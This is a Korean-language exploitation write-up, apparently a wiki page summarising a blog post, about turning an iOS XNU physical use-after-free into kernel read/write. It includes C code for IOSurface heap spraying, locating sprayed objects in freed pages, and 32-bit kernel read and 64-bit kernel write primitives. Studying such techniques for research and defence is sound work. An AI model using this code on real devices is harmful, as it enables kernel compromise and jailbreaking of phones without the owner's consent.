iOS Exploiting

Physical use-after-free

이것은 https://alfiecg.uk/2024/09/24/Kernel-exploit.html의 게시물 요약이며, 이 기술을 사용한 exploit에 대한 추가 정보는 https://github.com/felix-pb/kfd에서 찾을 수 있습니다.

Memory management in XNU

iOS의 사용자 프로세스에 대한 가상 메모리 주소 공간0x0에서 0x8000000000까지입니다. 그러나 이러한 주소는 물리 메모리에 직접 매핑되지 않습니다. 대신, 커널페이지 테이블을 사용하여 가상 주소를 실제 물리 주소로 변환합니다.

Levels of Page Tables in iOS

페이지 테이블은 세 가지 수준으로 계층적으로 구성됩니다:

  1. L1 페이지 테이블 (레벨 1):

  • 여기의 각 항목은 큰 범위의 가상 메모리를 나타냅니다.

  • 0x1000000000 바이트(또는 256 GB)의 가상 메모리를 포함합니다.

  1. L2 페이지 테이블 (레벨 2):

  • 여기의 항목은 더 작은 가상 메모리 영역을 나타내며, 구체적으로 0x2000000 바이트(32 MB)입니다.

  • L1 항목은 전체 영역을 매핑할 수 없는 경우 L2 테이블을 가리킬 수 있습니다.

  1. L3 페이지 테이블 (레벨 3):

  • 가장 세밀한 수준으로, 각 항목은 단일 4 KB 메모리 페이지를 매핑합니다.

  • L2 항목은 더 세밀한 제어가 필요할 경우 L3 테이블을 가리킬 수 있습니다.

Mapping Virtual to Physical Memory

  • 직접 매핑 (블록 매핑):

  • 페이지 테이블의 일부 항목은 가상 주소 범위를 연속적인 물리 주소 범위에 직접 매핑합니다(단축키와 같은 방식).

  • 자식 페이지 테이블에 대한 포인터:

  • 더 세밀한 제어가 필요할 경우, 한 수준의 항목(예: L1)은 다음 수준의 자식 페이지 테이블(예: L2)을 가리킬 수 있습니다.

Example: Mapping a Virtual Address

가상 주소 0x1000000000에 접근하려고 한다고 가정해 보겠습니다:

  1. L1 테이블:

  • 커널은 이 가상 주소에 해당하는 L1 페이지 테이블 항목을 확인합니다. 만약 L2 페이지 테이블에 대한 포인터가 있다면, 해당 L2 테이블로 이동합니다.

  1. L2 테이블:

  • 커널은 더 자세한 매핑을 위해 L2 페이지 테이블을 확인합니다. 만약 이 항목이 L3 페이지 테이블을 가리킨다면, 그곳으로 진행합니다.

  1. L3 테이블:

  • 커널은 최종 L3 항목을 조회하여 실제 메모리 페이지의 물리 주소를 가리킵니다.

Example of Address Mapping

물리 주소 0x800004000을 L2 테이블의 첫 번째 인덱스에 기록하면:

  • 가상 주소 0x1000000000에서 0x1002000000까지는 물리 주소 0x800004000에서 0x802004000까지 매핑됩니다.

  • 이는 L2 수준에서의 블록 매핑입니다.

대신, L2 항목이 L3 테이블을 가리키는 경우:

  • 가상 주소 범위 0x1000000000 -> 0x1002000000의 각 4 KB 페이지는 L3 테이블의 개별 항목에 의해 매핑됩니다.

Physical use-after-free

물리적 use-after-free (UAF)는 다음과 같은 경우에 발생합니다:

  1. 프로세스가 읽기 및 쓰기 가능한 메모리를 할당합니다.

  2. 페이지 테이블이 이 메모리를 프로세스가 접근할 수 있는 특정 물리 주소에 매핑하도록 업데이트됩니다.

  3. 프로세스가 메모리를 해제(프리)합니다.

  4. 그러나 버그로 인해 커널이 페이지 테이블에서 매핑을 제거하는 것을 잊어버립니다, 비록 해당 물리 메모리를 프리로 표시하더라도.

  5. 커널은 이후 이 "해제된" 물리 메모리를 커널 데이터와 같은 다른 용도로 재할당할 수 있습니다.

  6. 매핑이 제거되지 않았기 때문에 프로세스는 여전히 이 물리 메모리에 읽기 및 쓰기를 할 수 있습니다.

이는 프로세스가 커널 메모리의 페이지에 접근할 수 있음을 의미하며, 이는 민감한 데이터나 구조를 포함할 수 있어 공격자가 커널 메모리조작할 수 있는 가능성을 제공합니다.

Exploitation Strategy: Heap Spray

공격자가 해제된 메모리에 어떤 특정 커널 페이지가 할당될지 제어할 수 없기 때문에, 그들은 힙 스프레이라는 기술을 사용합니다:

  1. 공격자는 커널 메모리에 많은 수의 IOSurface 객체를 생성합니다.

  2. 각 IOSurface 객체는 그 필드 중 하나에 매직 값을 포함하여 쉽게 식별할 수 있게 합니다.

  3. 그들은 해제된 페이지를 스캔하여 이러한 IOSurface 객체가 해제된 페이지에 위치했는지 확인합니다.

  4. 해제된 페이지에서 IOSurface 객체를 찾으면, 이를 사용하여 커널 메모리읽고 쓸 수 있습니다.

이와 관련된 더 많은 정보는 https://github.com/felix-pb/kfd/tree/main/writeups에서 확인할 수 있습니다.

Step-by-Step Heap Spray Process

  1. IOSurface 객체 스프레이: 공격자는 특별한 식별자("매직 값")로 많은 IOSurface 객체를 생성합니다.

  2. 해제된 페이지 스캔: 그들은 어떤 객체가 해제된 페이지에 할당되었는지 확인합니다.

  3. 커널 메모리 읽기/쓰기: IOSurface 객체의 필드를 조작하여 커널 메모리에서 임의의 읽기 및 쓰기를 수행할 수 있는 능력을 얻습니다. 이를 통해:

  • 한 필드를 사용하여 커널 메모리에서 32비트 값읽을 수 있습니다.

  • 다른 필드를 사용하여 64비트 값쓸 수 있으며, 안정적인 커널 읽기/쓰기 원시를 달성합니다.

IOSURFACE_MAGIC 매직 값을 가진 IOSurface 객체를 생성하여 나중에 검색합니다:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

IOSurface 객체를 하나의 해제된 물리 페이지에서 검색:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

커널 읽기/쓰기를 IOSurface로 달성하기

커널 메모리에서 IOSurface 객체에 대한 제어를 달성한 후(사용자 공간에서 접근 가능한 해제된 물리 페이지에 매핑됨), 우리는 이를 임의의 커널 읽기 및 쓰기 작업에 사용할 수 있습니다.

IOSurface의 주요 필드

IOSurface 객체에는 두 가지 중요한 필드가 있습니다:

  1. 사용 카운트 포인터: 32비트 읽기를 허용합니다.

  2. 인덱스 타임스탬프 포인터: 64비트 쓰기를 허용합니다.

이 포인터를 덮어쓰면 커널 메모리의 임의 주소로 리디렉션하여 읽기/쓰기 기능을 활성화할 수 있습니다.

32비트 커널 읽기

읽기를 수행하려면:

  1. 사용 카운트 포인터를 목표 주소에서 0x14 바이트 오프셋을 뺀 주소로 덮어씁니다.

  2. get_use_count 메서드를 사용하여 해당 주소의 값을 읽습니다.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64비트 커널 쓰기

쓰기 작업을 수행하려면:

  1. 인덱스된 타임스탬프 포인터를 대상 주소로 덮어씁니다.

  2. set_indexed_timestamp 메서드를 사용하여 64비트 값을 씁니다.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Exploit Flow Recap

  1. 물리적 Use-After-Free 트리거: 해제된 페이지는 재사용 가능하다.

  2. IOSurface 객체 스프레이: 커널 메모리에 고유한 "매직 값"을 가진 많은 IOSurface 객체를 할당한다.

  3. 접근 가능한 IOSurface 식별: 제어하는 해제된 페이지에서 IOSurface를 찾는다.

  4. Use-After-Free 남용: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 커널 읽기/쓰기를 가능하게 한다.

이러한 원시 기능을 통해 익스플로잇은 커널 메모리에 대한 제어된 32비트 읽기64비트 쓰기를 제공한다. 추가적인 탈옥 단계는 더 안정적인 읽기/쓰기 원시 기능을 포함할 수 있으며, 이는 추가 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수도 있다.

Last updated